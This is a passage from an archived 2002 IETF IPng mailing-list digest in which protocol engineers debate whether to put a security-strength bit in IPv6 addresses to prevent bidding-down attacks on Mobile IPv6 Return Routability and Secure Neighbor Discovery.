able to upgrade RR into something else later, *if* that proves to be necessary. > One comment I would like to make about this topic, which I don't think > has been addressed (no pun intended), is that this 'bit method' for addresses > essentially can identify nodes which are 'potentially' mobile. I am not a > security expert, so this may not really be a threat, but my feeling is that > most mobile devices will probably be small devices, that are > battery/processor/l2 (i.e. wireless) limited devices. By identifying > nodes this way, do we open up the possibility for addition DoS attacks > (small device with limited processor, battery & bandwidth capacity) is > more susceptible to flooding attacks. Is this an issue? Perhaps, but I'm not sure about its practical consequences. A host which goes around and requests Route Optimization from servers, or declines pictures from web pages will be pretty obviously a mobile node regardless of what its address says. Sending a jumbogram to all IP addresses in DNS under .com might also cause some trouble in the manner you describe above. Also, in the current real-world situation a node that uses mobile IP is more likely to be a laptop on a WLAN rather than a constrained device on a cellular network that uses link-specific mobility mechanisms. Furthermore, there's always a trade-off. In your list above you discussed the situation only from the point of view of mobile nodes. If you look at it from the point of view of stationary nodes, they might think that a bombproof method against ever being involved in Route Optimization attacks is quite valuable. Jari -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 3 23:13:30 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g347DTKL013169; Wed, 3 Apr 2002 23:13:30 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g347DTdd013168; Wed, 3 Apr 2002 23:13:29 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g347DQKL013161 for ; Wed, 3 Apr 2002 23:13:26 -0800 (PST) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id XAA21772 for ; Wed, 3 Apr 2002 23:13:30 -0800 (PST) Received: from ws177.nomadiclab.com (teldanex.hiit.fi [212.68.5.99]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id XAA16949 for ; Wed, 3 Apr 2002 23:13:06 -0800 (PST) Received: from nomadiclab.com (cube.local.nikander.com [192.168.0.33]) by ws177.nomadiclab.com (Postfix) with ESMTP id A130D8; Thu, 4 Apr 2002 10:15:10 +0300 (EEST) Message-ID: <3CABFD37.5000306@nomadiclab.com> Date: Thu, 04 Apr 2002 10:13:59 +0300 From: Pekka Nikander User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:0.9.9+) Gecko/20020402 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Tony Hain Cc: Jari Arkko , Brian E Carpenter , "Hesham Soliman (ERA)" , gab@Sun.COM, ipng@sunroof.eng.sun.com, Erik Nordmark Subject: Re: Using "a bit" as a protection against bidding down / for something else References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Tony, Brian, and others, Sorry about this volume, but let me try to simplify once more. I am now shifting quite far away from the immediate need, MIPv6, whose issues *may*, perhaps, be solved otherwise, and argue more for the other thing, Secure ND, and other related zero-conf security protocols. ---------------- Firstly, assume that there is no external infrastructure that we may rely on. That is, we are playing zero-conf game. Now, what we want to do is to create two playgrounds: 1. The current non-secure playground 2. A new zero-conf-secure playground We can make these completely distinct. The nodes (childs?) in the new playground only communicate there, and the nodes in the current one only here. In this case there is no problem the "zero-conf nodes" refuse to talk to the "non-secure nodes", and that's it. What we want to achieve, though, is a situation where the zero-conf nodes can also talk to the non-secure nodes. If a zero-conf node initiates the communication, this is probably not a problem, since it needs to look up some properties of the recipient anyway, and these properties can include credentials that identify the recipient as a zero-conf node. (Maybe these credentials can also be secured with a zero-conf method, and if so, naming seems to *help* there, too. But it certainly does not solve all problems.) The problematic case is when some stranger contacts a zero-conf node. It must be able to tell if that new node is a zero-conf node or a non-secure node. And this becomes tricky due to the possibility of man-in-the-middle and masquerade attacks. Relying on looking up credentials each and every time is one possibility. But that is inefficient; large servers are unlikely to do that. Naming the nodes in the playgrounds differently, as suggested, seems to provide *some* help. It is definitely not a panacea, MitM and masquarading attacks can still play *some* nasty games. However, the cannot "steal" zero-conf addresses, because zero-conf addresses are explicitly named as zero-conf addresses and because the attackers cannot provide the cryptographic credentials required from zero-conf addresses. (The latter is an intrinsic property that defines zero-conf security addresses.) ---------------- Maybe that approaches the essense of the issue. The issue was initially about MIPv6 RR vs. other MIPv6 security methods. However, the issue seems to be more and more shifting towards this zero-conf (secure ND) vs. current situation issue. Or so at least in my mind, I don't know about others. I hope that this helps, or that it at least leads us to collectively learn something. --Pekka Nikander -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 3 23:17:06 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g347H6KL013188; Wed, 3 Apr 2002 23:17:06 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g347H6uM013187; Wed, 3 Apr 2002 23:17:06 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g347H3KL013180 for ; Wed, 3 Apr 2002 23:17:03 -0800 (PST) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id XAA25568 for ; Wed, 3 Apr 2002 23:17:07 -0800 (PST) Received: from ws177.nomadiclab.com (teldanex.hiit.fi [212.68.5.99]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id XAA17686 for ; Wed, 3 Apr 2002 23:16:43 -0800 (PST) Received: from nomadiclab.com (cube.local.nikander.com [192.168.0.33]) by ws177.nomadiclab.com (Postfix) with ESMTP id DFE778; Thu, 4 Apr 2002 10:18:51 +0300 (EEST) Message-ID: <3CABFE15.50303@nomadiclab.com> Date: Thu, 04 Apr 2002 10:17:41 +0300 From: Pekka Nikander User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:0.9.9+) Gecko/20020402 X-Accept-Language: en-us, en MIME-Version: 1.0 To: john.loughney@nokia.com Cc: ipng@sunroof.eng.sun.com Subject: Re: Using "a bit" as a protection against bidding down / for something else References: <0C1353ABB1DEB74DB067ADFF749C4EEFD38D83@esebe004.NOE.Nokia.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk John, > My understanding of this entire discussion was that the "bit method" > was more along these lines: > > 1. Addresses for which something stronger than Return Routability > is needed. > > 2. Addresses for which Return Routability is sufficient. It originally certainly was. However, at least my thinking has evolved since then. That is, it *may* be possible, perhaps, to solve the RR bidding down issue separately. We still don't know. I'll let Jari's reply to stand for the rest. --Pekka Nikander -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 00:34:04 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g348Y4KL013366; Thu, 4 Apr 2002 00:34:04 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g348Y4QZ013365; Thu, 4 Apr 2002 00:34:04 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g348Y1KL013358 for ; Thu, 4 Apr 2002 00:34:01 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA10867 for ; Thu, 4 Apr 2002 00:34:03 -0800 (PST) From: john.loughney@nokia.com Received: from mgw-x2.nokia.com (mgw-x2.nokia.com [131.228.20.22]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA02246 for ; Thu, 4 Apr 2002 01:33:57 -0700 (MST) Received: from esvir03nok.nokia.com (esvir03nokt.ntc.nokia.com [172.21.143.35]) by mgw-x2.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id g348YB517822 for ; Thu, 4 Apr 2002 11:34:11 +0300 (EET DST) Received: from esebh003.NOE.Nokia.com (unverified) by esvir03nok.nokia.com (Content Technologies SMTPRS 4.2.5) with ESMTP id ; Thu, 4 Apr 2002 11:33:54 +0300 Received: from esebe004.NOE.Nokia.com ([172.21.138.44]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.3779); Thu, 4 Apr 2002 11:33:56 +0300 X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: RE: Using "a bit" as a protection against bidding down / for somethingelse Date: Thu, 4 Apr 2002 11:33:55 +0300 Message-ID: <0C1353ABB1DEB74DB067ADFF749C4EEFC64DBA@esebe004.NOE.Nokia.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Using "a bit" as a protection against bidding down / for somethingelse Thread-Index: AcHbqLs2Hda95I65T9uRDGhcjiMasAAClYXw To: Cc: X-OriginalArrivalTime: 04 Apr 2002 08:33:56.0086 (UTC) FILETIME=[758C9160:01C1DBB3] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id g348Y1KL013359 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi Pekka, > > My understanding of this entire discussion was that the "bit method" > > was more along these lines: > > > > 1. Addresses for which something stronger than Return > > Routability is needed. > > > > 2. Addresses for which Return Routability is sufficient. > > It originally certainly was. However, at least my thinking has > evolved since then. That is, it *may* be possible, perhaps, to > solve the RR bidding down issue separately. We still don't know. What would be really useful for this discussion would be documentation (preferable in the form of a Internet Draft). Perhaps a problem statement and/or requirements for this. I'm sure that it is because I am not sufficiently paranoid enough that I miss some of the more subtle parts of this current discussion. (Being paranoid is not a bad thing, however). Documentation would probably be enlightening. John -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 00:39:41 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g348dfKL013387; Thu, 4 Apr 2002 00:39:41 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g348detD013386; Thu, 4 Apr 2002 00:39:40 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g348daKL013379 for ; Thu, 4 Apr 2002 00:39:36 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA15210 for ; Thu, 4 Apr 2002 00:39:38 -0800 (PST) Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [193.180.251.34]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA04575 for ; Thu, 4 Apr 2002 01:39:37 -0700 (MST) Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6]) by penguin.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with ESMTP id g348dTs7019119; Thu, 4 Apr 2002 10:39:34 +0200 (MEST) Received: from lmf.ericsson.se (lmf4ws450.lmf.ericsson.se [131.160.38.50]) by fogerty.lmf.ericsson.se (8.12.1/8.12.1/lmf.8.12.1.jcs) with ESMTP id g348dSUD008485; Thu, 4 Apr 2002 11:39:28 +0300 (EET DST) Message-ID: <3CAC1140.626E9C58@lmf.ericsson.se> Date: Thu, 04 Apr 2002 11:39:28 +0300 From: Jari Arkko Organization: Oy L M Ericsson Ab X-Mailer: Mozilla 4.77 [en] (X11; U; SunOS 5.6 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: john.loughney@nokia.com CC: Pekka.Nikander@nomadiclab.com, ipng@sunroof.eng.sun.com Subject: Re: Using "a bit" as a protection against bidding down / for somethingelse References: <0C1353ABB1DEB74DB067ADFF749C4EEFC64DBA@esebe004.NOE.Nokia.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk john.loughney@nokia.com wrote: > What would be really useful for this discussion would be documentation > (preferable in the form of a Internet Draft). Perhaps a problem > statement and/or requirements for this. Right, we have realized this as well. Gabriel is about to post his new draft about the subject soon. Jari -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 01:16:00 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g349FtKL013491; Thu, 4 Apr 2002 01:15:55 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g349FtAG013490; Thu, 4 Apr 2002 01:15:55 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g349FmKL013483 for ; Thu, 4 Apr 2002 01:15:49 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA19961 for ; Thu, 4 Apr 2002 01:15:50 -0800 (PST) Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAB10092 for ; Thu, 4 Apr 2002 02:15:49 -0700 (MST) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id LAA200488; Thu, 4 Apr 2002 11:15:33 +0200 Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by d12relay02.de.ibm.com (8.11.1m3/NCO/VER6.00) with SMTP id g349ECV19744; Thu, 4 Apr 2002 11:14:13 +0200 Received: from dhcp22-167.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA31384 from ; Thu, 4 Apr 2002 11:14:07 +0200 Message-Id: <3CAC1947.7D1C7123@hursley.ibm.com> Date: Thu, 04 Apr 2002 11:13:43 +0200 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Pekka Nikander Cc: "Hesham Soliman (ERA)" , gab@Sun.COM, Jari Arkko , ipng@sunroof.eng.sun.com, Erik Nordmark Subject: Re: Using "a bit" as a protection against bidding down / for somethingelse References: <4DA6EA82906FD511BE2F00508BCF053802C6ABC8@Esealnt861.al.sw.ericsson.se> <3CAB0F1F.CE9DB679@hursley.ibm.com> <3CAB1D1D.6000803@nomadiclab.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka Nikander wrote: ... > That is, if we assume that > there are two types of mobile nodes, "weak" ones and "strong" > ones, but only one type of corresponding nodes, ones that > are able to act either as "weak" or "strong", the bit method > does indeed seem to create some footing. This I still don't understand. A header option can assert "weak" or "strong" (or better, "algorithm ID") just as well as magic bits in an address, without overloading the address and stealing bits already allocated in EUI-64. A header option can also be cryptographically authenticated. I fully understand why we need bidding-down protection and the newly suggested step down procedure. I just can't see a case for putting the required semantics in the address. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 01:21:10 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g349LAKL013512; Thu, 4 Apr 2002 01:21:10 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g349L9Nb013511; Thu, 4 Apr 2002 01:21:09 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g349L5KL013504 for ; Thu, 4 Apr 2002 01:21:06 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA20580; Thu, 4 Apr 2002 01:21:07 -0800 (PST) Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA12181; Thu, 4 Apr 2002 02:21:06 -0700 (MST) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id LAA08456; Thu, 4 Apr 2002 11:20:58 +0200 Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by d12relay02.de.ibm.com (8.11.1m3/NCO/VER6.00) with SMTP id g349KwV113268; Thu, 4 Apr 2002 11:20:58 +0200 Received: from dhcp22-167.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA42084 from ; Thu, 4 Apr 2002 11:20:56 +0200 Message-Id: <3CAC1AE0.C00B159B@hursley.ibm.com> Date: Thu, 04 Apr 2002 11:20:32 +0200 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: "Hesham Soliman (ERA)" Cc: "'Pekka Nikander'" , gab@Sun.COM, Jari Arkko , ipng@sunroof.eng.sun.com, Erik Nordmark Subject: Re: Using "a bit" as a protection against bidding down / for something else References: <4DA6EA82906FD511BE2F00508BCF053802C6ABFB@Esealnt861.al.sw.ericsson.se> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk It seems to me that the important point is that a host needs to assert something about the strength of security it requires. This is a property of a host, not a property of an address. I become more and more convinced that asserting this property via an address bit is both unnecessary (it can be done by a header field that is equally subject to authentication) and undesirable (overloading). Brian "Hesham Soliman (ERA)" wrote: > > > The scenario Brian mentioned > > > will not be an issue for bidding down attacks > > > related to mobility. > > > > Can you explain? I don't see why you can't have an evil MitM > > intercepting binding updates and bidding them down. > > > > => In the case where the iids are somehow cryptographigally > generated, if you change one bit in the address, the result > is that the 2 nodes will end up talking to 2 different > nodes. Or if the attack is only done in one direction > then Bob will talk to Sam instead of Alice. This is > because by changing the bit in the address, you have > changed the identity of the device that is establishing > the SA. > This is the advantage of having the bit inside the > address. For the mobility cases, the identity is > the address, so changing the address == changing > the identity => A talks to C instead of talking > to B. > > Establishing the SA takes more than one RT, so > changing it in only one of the messages will > cause the whole process to fail. > > Hesham -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 01:26:58 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g349QwKL013534; Thu, 4 Apr 2002 01:26:58 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g349QwmU013533; Thu, 4 Apr 2002 01:26:58 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g349QtKL013526 for ; Thu, 4 Apr 2002 01:26:55 -0800 (PST) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA21140 for ; Thu, 4 Apr 2002 01:26:57 -0800 (PST) Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [193.180.251.34]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA20846 for ; Thu, 4 Apr 2002 01:26:33 -0800 (PST) Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6]) by penguin.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with ESMTP id g349Qis7008327; Thu, 4 Apr 2002 11:26:48 +0200 (MEST) Received: from lmf.ericsson.se (lmf4ws450.lmf.ericsson.se [131.160.38.50]) by fogerty.lmf.ericsson.se (8.12.1/8.12.1/lmf.8.12.1.jcs) with ESMTP id g349QaUD011403; Thu, 4 Apr 2002 12:26:36 +0300 (EET DST) Message-ID: <3CAC1C4C.47B26D05@lmf.ericsson.se> Date: Thu, 04 Apr 2002 12:26:36 +0300 From: Jari Arkko Organization: Oy L M Ericsson Ab X-Mailer: Mozilla 4.77 [en] (X11; U; SunOS 5.6 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Brian E Carpenter CC: Pekka Nikander , "Hesham Soliman (ERA)" , gab@Sun.COM, ipng@sunroof.eng.sun.com, Erik Nordmark Subject: Re: Using "a bit" as a protection against bidding down / for somethingelse References: <4DA6EA82906FD511BE2F00508BCF053802C6ABC8@Esealnt861.al.sw.ericsson.se> <3CAB0F1F.CE9DB679@hursley.ibm.com> <3CAB1D1D.6000803@nomadiclab.com> <3CAC1947.7D1C7123@hursley.ibm.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Brian E Carpenter wrote: > This I still don't understand. A header option can assert "weak" > or "strong" (or better, "algorithm ID") just as well as magic > bits in an address, without overloading the address and stealing > bits already allocated in EUI-64. A header option can also be > cryptographically authenticated. > > I fully understand why we need bidding-down protection and the > newly suggested step down procedure. I just can't see a case > for putting the required semantics in the address. The difference is that when we speak about routing-related attacks, a modification of a header can be done by MitMs, but if the MitMs change the addresses, the whole attack is changed. For instance, if the intent of the attack was to install a BCE at www.cnn.com for my laptop's traffic to be directed somewhere else, changing the address results in the BCE entry being installed for someone else. I.e., an attacker can't redirect my traffic anywhere. Similarly, if stationary nodes have the 'don't accept RR' bit on then they will not be vulnerable to any MIPv6 based attacks. Jari -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 01:29:32 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g349TWKL013557; Thu, 4 Apr 2002 01:29:32 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g349TV42013556; Thu, 4 Apr 2002 01:29:31 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g349TSKL013548 for ; Thu, 4 Apr 2002 01:29:28 -0800 (PST) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA18106 for ; Thu, 4 Apr 2002 01:29:30 -0800 (PST) Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [193.180.251.34]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA15680 for ; Thu, 4 Apr 2002 01:29:28 -0800 (PST) Received: from esealnt462.al.sw.ericsson.se (ESEALNT462.al.sw.ericsson.se [153.88.251.62]) by penguin.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with SMTP id g349TRs7009542 for ; Thu, 4 Apr 2002 11:29:28 +0200 (MEST) Received: FROM esealnt742.al.sw.ericsson.se BY esealnt462.al.sw.ericsson.se ; Thu Apr 04 11:28:43 2002 +0200 Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19) id ; Thu, 4 Apr 2002 11:18:28 +0200 Message-ID: <4DA6EA82906FD511BE2F00508BCF053803C07731@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: Mohan Parthasarathy , "Hesham Soliman (ERA)" , Brian E Carpenter , Pekka Nikander Cc: Glenn Morrow , gab@Sun.COM, Keith Moore , Jari Arkko , Pekka Savola , ipng@sunroof.eng.sun.com, Erik Nordmark Subject: RE: Allocating a bit in the RFC2374 Interface Identifier Date: Thu, 4 Apr 2002 10:29:29 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Mohan, I think the problem is in using the bit to convey whether you want a secure exchange or not. And at the end of the exchange (which effectively created a binding in the mobility case), MN thinks it established securely with CN which it has not i.e I set the bit to indicate I want a secure exchange with some arbitrary node (CN), but this does not really gurantee anything. It does not matter whether you set the bit or not. It all depends on whether MiTM will occur or not. So, in the absence of MiTM attack, the bit reaches CN safely and hence tells CN whether MN needs a secure exchange or not. But in the absence of MiTM attack, RR seems sufficient and hence the bit is not needed. What am I missing ? => The bit was not suggested to remove MiTM attacks, it was suggested to disallow bidding down attacks by a MiTM. I.e. if the bit was replaced by some other piece of information in the packet, this can always be modified and both sides will simply revert to a weaker mechanism. But having it in the address will mean that, if modified, the SA can not be established, at least not with the intended identities. The identities being the owners of the IP addresses in question. Hesham -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 01:33:58 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g349XwKL013623; Thu, 4 Apr 2002 01:33:58 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g349Xwsm013622; Thu, 4 Apr 2002 01:33:58 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g349XsKL013615 for ; Thu, 4 Apr 2002 01:33:54 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA23564 for ; Thu, 4 Apr 2002 01:33:56 -0800 (PST) Received: from albatross.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [193.180.251.46]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA19357 for ; Thu, 4 Apr 2002 02:33:55 -0700 (MST) Received: from esealnt461 (esealnt461.al.sw.ericsson.se 